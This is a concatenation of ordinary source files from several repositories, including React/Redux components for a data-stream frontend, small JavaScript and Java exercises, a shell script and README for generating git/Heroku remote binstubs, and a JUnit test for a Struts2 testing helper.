}
render() {
return (
<CodeMirror
value={this.data}
options={{
lineWrapping: true,
readOnly: true,
mode: "text/plain"
}}
/>
);
}
}
export default CSVView;
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import Checkbox from "material-ui/Checkbox";
class EnabledEditor extends Component {
static propTypes = {
value: PropTypes.bool.isRequired,
onChange: PropTypes.func.isRequired,
type: PropTypes.string.isRequired
};
render() {
return (
<div>
<h3>Enabled</h3>
<p>
Whether or not the {this.props.type + " "}
accepts data, and is currently functioning.
</p>
<Checkbox
label="Enabled"
checked={this.props.value}
onCheck={this.props.onChange}
/>
</div>
);
}
}
export default EnabledEditor;
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
// TEMPORARY HACK: react-star-rating package is outdated on npm with an old react version.
// github has correct version, which needs to be compiled and stuff, so I just included the
// compiled files while waiting for an update to npm
// Once this is fixed, should also delete dependency classnames
//import StarRating from 'react-star-rating';
//import 'react-star-rating/dist/css/react-star-rating.min.css';
import StarRating from "./react-star-rating/react-star-rating.min";
import "./react-star-rating/react-star-rating.min.css";
import { addInput } from "../../datatypes";
import TimeChooser, { getTimestamp } from "../TimeChooser";
class StarInput extends Component {
static propTypes = {
state: PropTypes.object,
setState: PropTypes.func,
insert: PropTypes.func
};
render() {
let value = this.props.state.value;
if (value === undefined || value == null) value = 0;
// rating={value} messes up our ability to set the rating again in current version of react star rating. We therefore can't have it set :(
return (
<StarRating
name={this.props.path}
totalStars={10}
size={30}
onRatingClick={(a, val) => {
console.log("Changing value:", val);
this.props.setState({ value: val["rating"] });
this.props.insert(
getTimestamp(this.props.state),
val["rating"],
false
);
}}
/>
);
}
}
// add the input to the input registry.
addInput("rating.stars", {
width: "half",
component: StarInput,
style: {
textAlign: "center"
},
dropdown: TimeChooser
});
<file_sep>/*
This is the main navigator shown for users. This component chooses the correct page to set based upon the data
it is getting (shows loading page if the user/device/stream are not ready).
The component also performs further routing based upon the hash. This is because react-router does not
support both normal and hash-based routing at the same time.
All child pages are located in ./pages. This component can be throught of as an extension to the main app routing
done in App.js, with additional querying for the user/device/stream we want to view.
It also queries the user/device/stream-specific state from redux, so further children can just use the state without worrying
about which user/device/stream it belongs to.
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import { getUserState } from "./reducers/user";
import connectStorage from "./connectStorage";
import Error from "./components/Error";
import Loading from "./components/Loading";
import UserView from "./pages/UserView";
import UserEdit from "./pages/UserEdit";
import DeviceCreate from "./pages/DeviceCreate";
import { setTitle } from "./util";
function setUserTitle(user) {
setTitle(user == null ? "" : user.name);
}
class User extends Component {
static propTypes = {
user: PropTypes.object,
devarray: PropTypes.object,
error: PropTypes.object,
location: PropTypes.object.isRequired,
state: PropTypes.object
};
componentDidMount() {
setUserTitle(this.props.user);
}
componentWillReceiveProps(newProps) {
if (newProps.user !== this.props.user) {
setUserTitle(newProps.user);
}
}
render() {
if (this.props.location.pathname == "/logout") {
return null;
}
if (this.props.error != null) {
return <Error err={this.props.error} />;
}
if (this.props.user == null || this.props.devarray == null) {
// Currently querying
return <Loading />;
}
// React router does not allow using hash routing, so we route by hash here
switch (this.props.location.hash) {
case "#create":
return (
<DeviceCreate
user={this.props.user}
state={this.props.state.create}
/>
);
case "#edit":
return (
<UserEdit user={this.props.user} state={this.props.state.edit} />
);
}
return (
<UserView
user={this.props.user}
state={this.props.state.view}
devarray={this.props.devarray}
/>
);
}
}
export default connectStorage(
connect((store, props) => ({
state: getUserState(props.user != null ? props.user.name : "", store)
}))(User),
true,
false
);
<file_sep>/**
The default input - it is returned if no custom inputs are available for the given
datatype.
This input uses the 'react-jsonschema-form' library to create an input form which fits
the stream's schema. If the stream has no schema, it has a textbox in which the user may
type in arbitrary JSON.
**/
import React, { Component } from "react";
import PropTypes from "prop-types";
import Form from "react-jsonschema-form";
import TimeChooser, { getTimestamp } from "./TimeChooser";
import { addInput } from "../datatypes";
const log = type => console.log.bind(console, type);
// The schema to use for generating the form when no schema is specified
// in the stream
const noSchema = {
type: "object",
properties: {
input: {
title: "Stream Data JSON",
type: "string"
}
}
};
// Unfortunately the schema form generator is... kinda BS in that it has
// undefined defaults for values. The form generator also doesn't do a good job
// handling non-object schemas. This function does two things:
// 1) It modifies the schema given to include default values and be ready for input
// 2) It generates a uischema, which allows us to set specific view types for
// certain schemas. Currently it is used to generate booleans as radio buttons.
function prepareSchema(s, firstcall = true) {
let uiSchema = {};
let schema = Object.assign({}, s); // We'll be modifying the object, so copy it
if (schema.type === undefined) {
schema = noSchema;
} else {
// The schema is valid - set up the default values and uiSchema
switch (schema.type) {
case "object":
if (schema.properties === undefined || schema.properties == null)
return { ui: {}, schema: {} };
let k = Object.keys(schema.properties);
for (let i in k) {
let key = k[i];
let ret = prepareSchema(schema.properties[key], false);
uiSchema[key] = ret.ui;
schema.properties[key] = ret.schema;
}
break;
case "string":
if (schema.default === undefined) {
schema["default"] = "";
}
break;
case "boolean":
if (schema.default === undefined) {
schema["default"] = false;
}
uiSchema["ui:widget"] = "radio";
break;
case "number":
if (schema.default === undefined) {
schema["default"] = 0;
}
break;
}
// The form generator doesn't handle non-object schemas well, so if the
// root type is not object, we wrap the schema in an object
if (schema.type != "object" && firstcall) {
if (schema.title === undefined) {
schema.title = "Input Data:";
}
schema = {
type: "object",
properties: {
input: schema
}
};
uiSchema = {
input: uiSchema
};
}
}
return { ui: uiSchema, schema: schema };
}
class DefaultInput extends Component {
static propTypes = {
user: PropTypes.object.isRequired,
device: PropTypes.object.isRequired,
stream: PropTypes.object.isRequired,
path: PropTypes.string.isRequired,
schema: PropTypes.object.isRequired,
state: PropTypes.object.isRequired,
insert: PropTypes.func.isRequired,
setState: PropTypes.func.isRequired,
showMessage: PropTypes.func.isRequired
};
// submit is run when the user clicks submit. It manages the different cases of data
// that are managed by the input - no schema, wrapped schema, and normal schema :)
submit(data) {
let schema = this.props.schema;
if (schema.type === undefined) {
// If the stream has no schema, make sure we can parse the data as JSON
// before inserting it.
try {
var parsedData = JSON.parse(data.formData.input);
} catch (e) {
this.props.showMessage(e.toString());
return;
}
this.props.onSubmit(parsedData);
return;
} else if (schema.type != "object") {
this.props.insert(getTimestamp(this.props.state), data.formData.input);
return;
}
this.props.insert(getTimestamp(this.props.state), data.formData);
}
render() {
let user = this.props.user;
let device = this.props.device;
let stream = this.props.stream;
let path = this.props.path;
let preparedSchema = prepareSchema(this.props.schema);
let state = {};
if (this.props.state.json !== undefined) {
state = this.props.state.json.formData;
}
return (
<Form
schema={preparedSchema.schema}
uiSchema={preparedSchema.ui}
formData={state}
onChange={s =>
this.props.setState({
...this.props.state,
json: s
})}
onSubmit={data => this.submit(data)}
onError={log("error in the input form")}
/>
);
}
}
// add the input to the input registry. The empty string makes it default
addInput("", {
width: "expandable-half",
component: DefaultInput,
dropdown: TimeChooser,
style: {
textAlign: "center"
}
});
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import DataTransformUpdater from "./components/DataUpdater";
import { Line } from "react-chartjs-2";
import { addView } from "../datatypes";
function fixData(data) {
if (typeof data === "boolean") {
if (data === false) {
return 0;
} else {
return 1;
}
}
return data;
}
class ScatterComponent extends DataTransformUpdater {
//The color to give datapoints - when there is less than 500 points, "low" is used
// and when there are more than 500, "high" is used.
static pointColor = {
low: "rgba(75, 192, 192,0.6)",
high: "rgba(75, 192, 192,0.1)"
};
// transformDataset is required for DataUpdater to set up the modified state data
transformDataset(d) {
if (d.length == 0) {
return { datasets: [] };
}
let keys = Object.keys(d[0].d);
let dataset = new Array(d.length);
let minColor = 9999999999999;
let maxColor = -minColor;
for (let i = 0; i < d.length; i++) {
dataset[i] = {
x: fixData(d[i].d[keys[0]]),
y: fixData(d[i].d[keys[1]])
};
if (keys.length == 3) {
let dp = fixData(d[i].d[keys[2]]);
if (dp < minColor) minColor = dp;
if (dp > maxColor) maxColor = dp;
}
}
let pointColor = d.length > 500
? ScatterComponent.pointColor.high
: ScatterComponent.pointColor.low;
if (keys.length == 3 && minColor != maxColor) {
pointColor = new Array(d.length);
for (let i = 0; i < d.length; i++) {
let dp = fixData(d[i].d[keys[2]]);
pointColor[i] = `hsla(${Math.floor(
120 * (dp - minColor) / (maxColor - minColor)
)},100%,50%,0.4)`;
}
}
return {
datasets: [
{
label: "",
data: dataset,
lineTension: 0,
fill: false,
showLine: false,
pointRadius: d.length > 500 ? 2 : 3,
pointBackgroundColor: pointColor,
pointBorderColor: pointColor
}
],
xLabels: [keys[0]],
yLabels: [keys[0]]
};
}
render() {
return (
<Line
data={this.data}
options={{
legend: {
display: false
},
scales: {
xAxes: [
{
type: "linear",
position: "bottom",
scaleLabel: {
display: true,
labelString: Object.keys(this.props.data[0].d)[0]
}
}
],
yAxes: [
{
type: "linear",
position: "left",
scaleLabel: {
display: true,
labelString: Object.keys(this.props.data[0].d)[1]
}
}
]
},
animation: false
}}
/>
);
}
}
const ScatterView = {
key: "scatterView",
component: ScatterComponent,
width: "expandable-half",
title: "Scatter Plot",
initialState: {},
subtitle: ""
};
// https://stackoverflow.com/questions/9716468/is-there-any-function-like-isnumeric-in-javascript-to-validate-numbers
function isNumeric(n) {
return !isNaN(parseFloat(n)) && isFinite(n);
}
function showScatterView(context) {
if (
context.data.length > 1 &&
context.data[0].d !== null &&
typeof context.data[0].d === "object" &&
(Object.keys(context.data[0].d).length == 2 ||
Object.keys(context.data[0].d).length == 3) &&
typeof context.data[context.data.length - 1].d === "object"
) {
// It looks promising! Let's check that the keys are numeric, to make sure
// that we can display a scatter chart
let d0keys = Object.keys(context.data[0].d);
let keysok = true;
for (let i = 0; i < d0keys.length; i++) {
// Make sure the keys match
if (context.data[context.data.length - 1].d[d0keys[i]] === undefined) {
keysok = false;
break;
}
// Make sure the contained data is numeric
if (
!isNumeric(
context.data[context.data.length - 1].d[d0keys[i]] ||
!isNumeric(context.data[0].d[d0keys[i]])
)
) {
keysok = false;
break;
}
}
// Return the scatter view if the keys are OK, AND it it isn't a GPS datapoint (latitude/longitude)
if (keysok && context.data[0].d["latitude"] === undefined) {
return ScatterView;
}
}
return null;
}
addView(showScatterView);
<file_sep>export const DeviceCreateInitialState = {
name: "",
nickname: "",
description: "",
role: "none",
public: false,
enabled: true,
visible: true
};
export default function deviceCreateReducer(state, action) {
switch (action.type) {
case "USER_CREATEDEVICE_CLEAR":
return DeviceCreateInitialState;
case "USER_CREATEDEVICE_SET":
return {
...state,
...action.value
};
case "USER_CREATEDEVICE_NAME":
return {
...state,
name: action.value
};
case "USER_CREATEDEVICE_NICKNAME":
return {
...state,
nickname: action.value
};
case "USER_CREATEDEVICE_DESCRIPTION":
return {
...state,
description: action.value
};
case "USER_CREATEDEVICE_ROLE":
return {
...state,
role: action.value
};
case "USER_CREATEDEVICE_PUBLIC":
return {
...state,
public: action.value
};
case "USER_CREATEDEVICE_ENABLED":
return {
...state,
enabled: action.value
};
case "USER_CREATEDEVICE_VISIBLE":
return {
...state,
visible: action.value
};
}
return state;
}
<file_sep>/**
* The DataView represents a view of a dataset. This component renders all plotting
* and visualization that is available to it. It is given the data, and some optional
* information about the data. It can also have children, which are rendered before
* the visualizations. This is used for both the stream and analysis pages, which
* show plots of data.
*
* The DataView performs extensive caching, since transforming large amounts of datapoints
* can be very computationally expensive. It only rerenders the visualizations if the relevant
* properties change.
*
* Furthermore, the DataView handles the state of each visualization. Each visualization's
* state goes into the DataView's component state. It might be useful to make the visualization
* states go into the redux store at some point in the future.
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import DataViewCard from "../components/DataViewCard";
import SearchCard from "../components/SearchCard";
import { getViews } from "../datatypes/datatypes";
import { showMessage } from "../actions";
class DataView extends Component {
static propTypes = {
data: PropTypes.arrayOf(PropTypes.object),
datatype: PropTypes.string,
schema: PropTypes.string, //
transform: PropTypes.string, // An optional transform to apply to the data
transformError: PropTypes.func,
// These are automatically extracted from the store
pipescript: PropTypes.object,
showMessage: PropTypes.func.isRequired
};
static defaultProps = {
data: [],
schema: "{}",
datatype: "",
transform: "",
transformError: err => console.log(err)
};
constructor(props) {
super(props);
this.state = {};
}
// Sets up the transform (if any) so that we're good to go with pipescript
initTransform(t) {
if (t !== undefined && t !== "") {
if (this.props.pipescript != null) {
try {
this.transform = this.props.pipescript.Script(t);
return;
} catch (e) {
this.props.transformError(e.toString());
}
}
}
this.transform = null;
}
// Returns the data transformed if there is a transform
// in the props, and the original data if it is not
dataTransform(data) {
if (this.transform != null) {
try {
return this.transform.Transform(data);
} catch (e) {
this.transform = null;
this.props.transformError(e.toString());
}
}
return data;
}
generateViews(p) {
this.schema = JSON.parse(p.schema !== "" ? p.schema : "{}");
// Check which views of data to show
this.views = getViews({
data: this.data, // data was already set earlier
datatype: p.datatype,
schema: this.schema,
pipescript: p.pipescript
});
console.log("Showing Views: ", this.views);
}
// Generate the component's initial state
componentWillMount() {
this.initTransform(this.props.transform);
this.data = this.dataTransform(this.props.data);
this.generateViews(this.props);
}
// Each time either the data or the transform changes, reload
componentWillReceiveProps(p) {
// We only perform the dataset transform operation if the dataset
// was modified
if (p.data !== this.props.data || this.props.transform !== p.transform) {
if (this.props.transform !== p.transform) {
this.initTransform(p.transform);
}
this.data = this.dataTransform(p.data);
}
if (
p.data !== this.props.data ||
this.props.transform !== p.transform ||
p.schema !== this.props.schema ||
p.pipescript !== this.props.pipescript ||
p.datatype !== this.props.datatype
) {
this.generateViews(p);
}
}
/**
* Each view can have a state associated with it. The DataView component contains the state
* for all views, so we need a state updater here.
*
* @param {*} key The name of the view that is using this state
* @param {*} value An object to update the state
*/
setViewState(view, value) {
let newstate = {};
if (this.state[view.key] === undefined) {
newstate[view.key] = Object.assign({}, view.initialState, value);
} else {
newstate[view.key] = Object.assign({}, this.state[view.key], value);
}
console.log("Setting view state for " + view.key, newstate);
this.setState(newstate);
}
getViewState(view) {
return this.state[view.key] !== undefined
? this.state[view.key]
: view.initialState;
}
render() {
return (
<div
style={{
marginLeft: "-15px",
marginRight: "-15px"
}}
>
{this.props.children}
{this.views.map(view =>
<DataViewCard
key={view.key}
view={view}
data={this.data}
schema={this.schema}
datatype={this.props.datatype}
state={this.getViewState(view)}
setState={s => this.setViewState(view, s)}
pipescript={this.props.pipescript}
msg={this.props.showMessage}
/>
)}
{this.props.after !== undefined ? this.props.after : null}
</div>
);
}
}
export default connect(
state => ({
pipescript: state.site.pipescript
}),
dispatch => ({
showMessage: t => dispatch(showMessage(t))
})
)(DataView);
<file_sep>/*
StreamCreate is the page to show when creating a stream. The form to show is based upon the specific datatype that we're creating.
This card renders the corresponding plugin from ../datatypes/creators.
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import Error from "../components/Error";
import { createCancel, createObject, go } from "../actions";
import ObjectCreate from "../components/ObjectCreate";
import DownlinkEditor from "../components/edit/DownlinkEditor";
import EphemeralEditor from "../components/edit/EphemeralEditor";
import DatatypeEditor from "../components/edit/DatatypeEditor";
import { getCreator } from "../datatypes/datatypes";
const StreamCreateInitialState = {
name: "",
nickname: "",
description: "",
schema: "{}",
downlink: false,
ephemeral: false,
datatype: ""
};
class StreamCreate extends Component {
static propTypes = {
datatype: PropTypes.string.isRequired,
user: PropTypes.object.isRequired,
device: PropTypes.object.isRequired,
state: PropTypes.object.isRequired,
callbacks: PropTypes.object.isRequired,
roles: PropTypes.object.isRequired,
onCancel: PropTypes.func.isRequired,
onSave: PropTypes.func.isRequired,
setState: PropTypes.func.isRequired
};
render() {
let state = Object.assign(
{},
StreamCreateInitialState,
this.props.defaults,
this.props.state
);
let callbacks = this.props.callbacks;
let d = getCreator(this.props.datatype);
return (
<ObjectCreate
type={d.name}
header={d.description}
required={
d.required !== null
? <d.required
user={this.props.user}
device={this.props.device}
state={this.props.state}
setState={this.props.setState}
/>
: null
}
state={state}
callbacks={callbacks}
parentPath={this.props.user.name + "/" + this.props.device.name}
onCancel={this.props.onCancel}
onSave={this.props.onSave}
>
{d.optional !== null
? <d.optional
user={this.props.user}
device={this.props.device}
state={this.props.state}
setState={this.props.setState}
/>
: null}
</ObjectCreate>
);
}
}
export default connect(
(state, props) => ({
roles: state.site.roles.device,
defaults: getCreator(props.datatype).default
}),
(dispatch, props) => {
let name = props.user.name + "/" + props.device.name;
return {
setState: val =>
dispatch({ type: "DEVICE_CREATESTREAM_SET", name: name, value: val }),
callbacks: {
nameChange: (e, txt) =>
dispatch({
type: "DEVICE_CREATESTREAM_NAME",
name: name,
value: txt
}),
nicknameChange: (e, txt) =>
dispatch({
type: "DEVICE_CREATESTREAM_NICKNAME",
name: name,
value: txt
}),
descriptionChange: (e, txt) =>
dispatch({
type: "DEVICE_CREATESTREAM_DESCRIPTION",
name: name,
value: txt
}),
iconChange: (e, val) =>
dispatch({
type: "DEVICE_CREATESTREAM_SET",
name: name,
value: { icon: val }
})
},
onCancel: () => dispatch(createCancel("DEVICE", "STREAM", name)),
onSave: () =>
dispatch(
createObject(
"device",
"stream",
name,
Object.assign({}, getCreator(props.datatype).default, props.state)
)
)
};
}
)(StreamCreate);
<file_sep>import { StreamSearchInitialState, streamSearchReducer } from "./search";
import moment from "moment";
export const StreamViewInitialState = {
expanded: false,
transform: "",
t1: moment().subtract(7, "days"),
t2: moment().endOf("day"),
i1: -50,
i2: 0,
limit: 100000,
data: [],
error: null,
bytime: true,
views: {},
loading: true,
search: StreamSearchInitialState,
firstvisit: true // We want to auto-load stream data on first visit only.
};
export default function streamViewReducer(state, action) {
if (action.type.startsWith("STREAM_VIEW_SEARCH_"))
return {
...state,
search: streamSearchReducer(state.search, action)
};
switch (action.type) {
case "STREAM_VIEW_EXPANDED":
return {
...state,
expanded: action.value
};
case "STREAM_VIEW_SET":
return Object.assign({}, state, action.value);
case "STREAM_VIEW_DATA":
return {
...state,
data: action.value,
error: null,
loading: false
};
case "STREAM_VIEW_ERROR":
return {
...state,
error: action.value,
loading: false
};
case "STREAM_VIEW_LOADING":
return {
...state,
loading: action.value
};
}
return state;
}
<file_sep>/*
This is the textbox used to input a stream
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import TextField from "material-ui/TextField";
const StreamInput = ({ value, onChange }) =>
<TextField
hintText="user/device/stream"
style={{ width: "100%" }}
value={value}
onChange={e => onChange(e.target.value)}
/>;
export default StreamInput;
| e497acad672f65ea3b9e0eb7f8b320e616354670 | [
"Markdown",
"JavaScript"
] | 83 | Markdown | connectordb/connectordb-frontend | eb4c42649601403d5236e39cfaf9a6763592337a | 501b1d059ca830ddde636dd1e1950070ea661b88 |
refs/heads/master | <repo_name>Xearta/fewpjs-iterators-fndcl-fnexpr-filter-lab-onl01-seng-ft-032320<file_sep>/index.js
// Code your solution here
function findMatching(drivers, query) {
return drivers.filter(function(el) {
return el.toLowerCase().indexOf(query.toLowerCase()) !== -1;
})
}
function fuzzyMatch(drivers, query) {
return drivers.filter(function (el) {
return el.toLowerCase().indexOf(query.toLowerCase()) === 0;
})
}
function matchName(drivers, query) {
return drivers.filter(function(el) {
return el.name.indexOf(query) !== -1;
})
} | 36847f7074eeea6cb283e392a90415e0c7755ce4 | [
"JavaScript"
] | 1 | JavaScript | Xearta/fewpjs-iterators-fndcl-fnexpr-filter-lab-onl01-seng-ft-032320 | 0938cb907b3fbde93422f3d848e94b92a891ae13 | d25454056c7da1f5df2ad903bb801305555a494c |
refs/heads/master | <repo_name>415CA/fewpjs-iterators-fndcl-fnexpr-map-lab-nyc04-seng-ft-053120<file_sep>/index.js
const tutorials = [
'what does the this keyword mean?',
'What is the Contutorialuctor OO pattern?',
'implementing Blockchain Web API',
'The Test Driven Development Workflow',
'What is NaN and how Can we Check for it',
'What is the difference between stopPropagation and preventDefault?',
'Immutable State and Pure Functions',
'what is the difference between == and ===?',
'what is the difference between event capturing and bubbling?',
'what is JSONP?',
];
const titleCased = (input) => tutorials.map((string) => {
const segment = string.split(' ');
const upperCaseSegment = segment.map((segment) => segment.charAt(0).toUpperCase() + segment.slice(1));
const joinedString = upperCaseSegment.join(' ');
return joinedString;
});
| e18d889c23dc5c55c0b5576fc71ca68fb2b8a31a | [
"JavaScript"
] | 1 | JavaScript | 415CA/fewpjs-iterators-fndcl-fnexpr-map-lab-nyc04-seng-ft-053120 | 04e288398c95603e04bb2833a7ba7dff9de8e7b2 | bb960753b04681b5c7d67b212de9ba533bc74979 |
refs/heads/master | <repo_name>ltramos14/ejercicioEmpleadosLTRV<file_sep>/src/compañiasas2/AplicacionEmpleados.java
package compañiasas2;
import compañiasas.Empleados;
import javax.swing.JOptionPane;
public class AplicacionEmpleados {
public static void main(String[] args) {
Empleados empleado1 = new Empleados("<NAME>", 19, "Calle 10 No. 4-61", "3115836966");
Empleados empleado2 = new Empleados("<NAME>", 24, "Carrera 8 No. 4A-22", "3105789672");
Empleados empleado3 = new Empleados("<NAME>", 35, "Carrera 8a No. 7 - 88/94 ", "3232328702");
Empleados empleado4 = new Empleados("<NAME>", 38, "Calle 25 No. 4 - 38 piso 2 ", "3005876963");
Empleados empleado5 = new Empleados("<NAME>", 34, "Carrera 9 No. 7 - 341", "3123456644");
int numEmpl;
numEmpl=Integer.parseInt(JOptionPane.showInputDialog("Querid@ usuario, Digite un numero de 1 a 5 correspondiente \nal empleado del cual desea ver sus características:"));
switch(numEmpl){
case 1: JOptionPane.showMessageDialog(null,"EMPLEADO 1: \n*NOMBRE: "+ empleado1.getNombre()+"\n*EDAD: "+empleado1.getEdad()+"\n*DIRECCIÓN: "+empleado1.getDireccion()+"\n*TELÉFONO: "+ empleado1.getTelefono());
break;
case 2: JOptionPane.showMessageDialog(null,"EMPLEADO 2: \n*NOMBRE: "+ empleado2.getNombre()+"\n*EDAD: "+empleado2.getEdad()+"\n*DIRECCIÓN: "+empleado2.getDireccion()+"\n*TELÉFONO: "+ empleado2.getTelefono());
break;
case 3: JOptionPane.showMessageDialog(null,"EMPLEADO 3: \n*NOMBRE: "+ empleado3.getNombre()+"\n*EDAD: "+empleado3.getEdad()+"\n*DIRECCIÓN: "+empleado3.getDireccion()+"\n*TELÉFONO: "+ empleado3.getTelefono());
break;
case 4: JOptionPane.showMessageDialog(null,"EMPLEADO 4: \n*NOMBRE: "+ empleado4.getNombre()+"\n*EDAD: "+empleado4.getEdad()+"\n*DIRECCIÓN: "+empleado4.getDireccion()+"\n*TELÉFONO: "+ empleado4.getTelefono());
break;
case 5: JOptionPane.showMessageDialog(null,"EMPLEADO 5: \n*NOMBRE: "+ empleado5.getNombre()+"\n*EDAD: "+empleado5.getEdad()+"\n*DIRECCIÓN: "+empleado5.getDireccion()+"\n*"
+ ""
+ "TELÉFONO: "+ empleado5.getTelefono());
break;
default: JOptionPane.showMessageDialog(null, "NÚMERO DE EMPLEADO NO DISPONIBLE...");
}
}
}
| c20261fb7e53eb757c2d09b2ea338e415a3f3489 | [
"Java"
] | 1 | Java | ltramos14/ejercicioEmpleadosLTRV | 34b1a0bd885f939f16d0845ce9eb1ed5461edd8a | 03593ed994aea6d077dcb7ae59b5918b1eefbad5 |
refs/heads/master | <repo_name>unixsuperhero/remote-binstubs<file_sep>/rstubs
#!/bin/sh
case $1 in
generate)
rstubdir=$(pwd)
[[ -n $2 ]] && cd "$2"
mkdir -pv stubs
echo "Copying core stub"
cp $rstubdir/stub stubs/
git remote -v | sed 's/(.*//' | sort -u | while read remote
do
remote_name=$(echo $remote | grep -o '^[^[:space:]]*')
app_name=$(echo $remote | sed 's/.*:\(.*\)\.git.*/\1/')
echo "Generating 'stubs/$remote_name' binstub"
cat <<BINSTUB >stubs/$remote_name
export REMOTE="$remote_name"
export APP="$app_name"
\$(dirname \$0)/stub "\$@"
BINSTUB
done
echo "Setting execute permissions for stubs"
chmod -R +x "stubs/"
;;
*)
cat <<USAGE
USE CASE: rstubs generate
USE CASE: rstubs generate <path/to/repo>
USAGE
;;
esac
<file_sep>/README.md
remote-binstubs
===============
Smaller, localized version of http://github.com/unixsuperhero/app-binstubs.
Shorten both git and heroku commands by targeting a specific remote repository.
# Path ENV
I prefer to keep a separate directory for my binstubs. Something like ./stubs. Which is nice if you add it to your path:
export PATH=./stubs:$PATH
# TODO
* have a local stub?
* local server (scripts/rails server)
* local console (scripts/rails console)
* etc...
# Usage
After the stubs have been generated, you can use the following commands, assuming you have a remote called staging:
## Config Commands
* staging ignore
* echo "stubs/" >>.gitignore
## Heroku Commands
* staging app
* echoes the heroku app-name
* staging logs
* $> heroku logs -t -a $(app_name staging)
* staging console
* $> heroku run rails console -a $(app_name staging)
* staging deploy
* multiple commands: git push, rake db:migrate, heroku restart
* staging repush
* for pushing to a QA server. deploy changes for testing without:
* merging into master
* destroying other test features
* being rejected (when your branch doesn't have other test features merged in)
* multiple commands: co temp-branch; pull --rebase staging master; gp staging master
* staging migrate
* staging restart
* staging psql
## Git Commands
### git fetch
* staging fetch
* $> git fetch staging
### git push
* staging push
* $> git push staging head
* staging fpush
* $> git push -f staging head
* staging push master
* $> git push staging master
### git pull --rebase
* staging rebase
* git pull --rebase staging master
| c6e5bf8846ed2ff371c0d68f4b9597d4c67e01f2 | [
"Markdown",
"Shell"
] | 2 | Shell | unixsuperhero/remote-binstubs | 411b623c2de0d46c26f789c74e82f4d2e00a5502 | bca175ce994a9163c6b0388133f666b0ae5bbcc9 |
refs/heads/master | <file_sep>package com.hexaid.struts2.junit;
import static org.junit.Assert.*;
import java.lang.reflect.Method;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runners.model.FrameworkMethod;
import com.hexaid.struts2.junit.StrutsBaseTestCase.AbstractStrutsTestConfiguration;
import com.opensymphony.xwork2.ActionProxy;
public class StrutsBaseTestCaseTest {
@Before
public void setUp() throws Exception {
}
@After
public void tearDown() throws Exception {
}
@Test
public void testsetUpResolvingAnnotationsWithOutAnnotations() {
try {
Test1 test = new Test1();
Method testMethod =
test.getClass().getMethod("theMethodNameIsTheActionNameTest");
test.testName.starting(new FrameworkMethod(testMethod));
AbstractStrutsTestConfiguration config = new MockStrutsTestConfiguration(test);
test.setUpResolvingAnnotations(config);
assertArrayEquals(new String[] {"struts.xml"}, config.configFile);
assertEquals(null, config.namespace);
assertEquals("theMethodNameIsTheActionNameTest", config.actionName);
assertEquals(null, config.methodName);
} catch (Exception e) {
fail(e.getMessage());
}
}
@Test
public void testsetUpResolvingAnnotationsWithAnnotationInTestMethod() {
try {
Test1 test = new Test1();
Method testMethod =
test.getClass().getMethod("aMethodWithAnnotationTest");
test.testName.starting(new FrameworkMethod(testMethod));
AbstractStrutsTestConfiguration config = new MockStrutsTestConfiguration(test);
test.setUpResolvingAnnotations(config);
assertArrayEquals(new String[] {"struts.xml"}, config.configFile);
assertEquals("/", config.namespace);
assertEquals("differentActionName", config.actionName);
assertEquals(null, config.methodName);
} catch (Exception e) {
fail(e.getMessage());
}
}
@Test
public void testsetUpResolvingAnnotationsWithAnnotationInTestClass() {
try {
Test2 test = new Test2();
Method testMethod =
test.getClass().getMethod("theMethodNameIsTheActionNameTest");
test.testName.starting(new FrameworkMethod(testMethod));
AbstractStrutsTestConfiguration config = new MockStrutsTestConfiguration(test);
test.setUpResolvingAnnotations(config);
assertArrayEquals(new String[] {"another-struts.xml"}, config.configFile);
assertEquals("/somename", config.namespace);
assertEquals("theMethodNameIsTheActionNameTest", config.actionName);
assertEquals(null, config.methodName);
} catch (Exception e) {
fail(e.getMessage());
}
}
@Test
public void testsetUpResolvingAnnotationsWithAnnotationInTestClassAndMethod() {
try {
Test2 test = new Test2();
Method testMethod =
test.getClass().getMethod("aMethodWithAnnotationTest");
test.testName.starting(new FrameworkMethod(testMethod));
AbstractStrutsTestConfiguration config = new MockStrutsTestConfiguration(test);
test.setUpResolvingAnnotations(config);
assertArrayEquals(new String[] {"another-struts.xml"}, config.configFile);
assertEquals("/", config.namespace);
assertEquals("differentActionName", config.actionName);
assertEquals("show", config.methodName);
} catch (Exception e) {
fail(e.getMessage());
}
}
@Test
public void testsetUpResolvingAnnotationsWithTwoFiles() {
try {
Test3 test = new Test3();
Method testMethod =
test.getClass().getMethod("aMethodWithAnnotationTest");
test.testName.starting(new FrameworkMethod(testMethod));
AbstractStrutsTestConfiguration config = new MockStrutsTestConfiguration(test);
test.setUpResolvingAnnotations(config);
assertArrayEquals(new String[]{"struts-plugin.xml", "another-struts.xml"}, config.configFile);
assertEquals("/", config.namespace);
assertEquals("differentActionName", config.actionName);
assertEquals("show", config.methodName);
} catch (Exception e) {
fail(e.getMessage());
}
}
public static class Test1 extends StrutsBaseTestCase {
@Test
public void theMethodNameIsTheActionNameTest() {
}
@Test
@Config(actionName="differentActionName", namespace="/")
public void aMethodWithAnnotationTest() {
}
}
@Config(file="another-struts.xml", namespace="/somename")
public static class Test2 extends StrutsBaseTestCase {
@Test
public void theMethodNameIsTheActionNameTest() {
}
@Test
@Config(actionName="differentActionName", namespace="/", methodName="show")
public void aMethodWithAnnotationTest() {
}
}
@Config(file={"struts-plugin.xml", "another-struts.xml"}, namespace="/somename")
public static class Test3 extends StrutsBaseTestCase {
@Test
public void theMethodNameIsTheActionNameTest() {
}
@Test
@Config(actionName="differentActionName", namespace="/", methodName="show")
public void aMethodWithAnnotationTest() {
}
}
private static class MockStrutsTestConfiguration extends StrutsBaseTestCase.AbstractStrutsTestConfiguration {
public MockStrutsTestConfiguration(StrutsBaseTestCase testObject) {
super(testObject);
}
@Override
public ActionProxy createActionProxy() {
// do nothing
return null;
}
}
}
| b3e35bc291f715110f07e8c8142ff607a3f921ff | [
"Java"
] | 1 | Java | belingueres/struts2-junit | fe5bf97ca0ba087dbd2ae3465be1c4a9e92ee181 | 6191493d4c1cfb785589c7cdb6a08086ef3b0030 |
